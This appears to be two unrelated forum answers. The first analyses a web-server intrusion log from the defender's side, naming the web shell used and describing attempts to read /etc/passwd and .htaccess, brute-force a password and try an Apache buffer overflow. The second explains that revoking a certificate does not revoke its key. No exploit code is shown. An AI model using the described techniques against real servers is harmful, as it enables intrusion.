The hacker used a publicly available shell MulCiShell v0.2. It can be configured to perform a number of functions including brute forcing passwords, downloading your entire site and replicating itself. You could take a closer look at mshell.php to see what it does.

Edit:

From your log files:

He tried to access /etc/passwd which contain a list of system users. He was probably trying to switch to a user with additional privileges. He tried from line 66-278 of the log and failed, probably because the web server was not running as root.

In line 300, he tries to access your .htaccess file. Probably trying to modify it to allow execution of CGI scripts so he can access /etc/passwd

Line 406, he tries to crack your site's password. $arr is a variable declared in line 473 of mshell.php. I suppose he left the auth_url post parameter blank.

Line 518, tries to access .htaccess once again.

Line 1272, last ditch attempt by trying to exploit some buffer overflow in apache.

I don't think he managed to compromise the machine, he used a publicly available tool and didn't seem to know what he was doing. I doubt he covered his tracks as well. His IP 117.7.198.84 originates from a vietnam ISP and furthermore the referer for some requests is http://www.google.com.vn. Although he could have compromised a machine in vietnam and used it as a platform to attack your site.


Does revoking a certificate result in revocation of its key?

There is no revocation of different parts of the certificate, i.e. a certificate is either revoked in full or not revoked at all. This also means that the certificate itself is revoked and not the key of the certificate, i.e. other certificates which use the same key are not affected by the revocation. And this means that you are free to reuse the key for another certificate.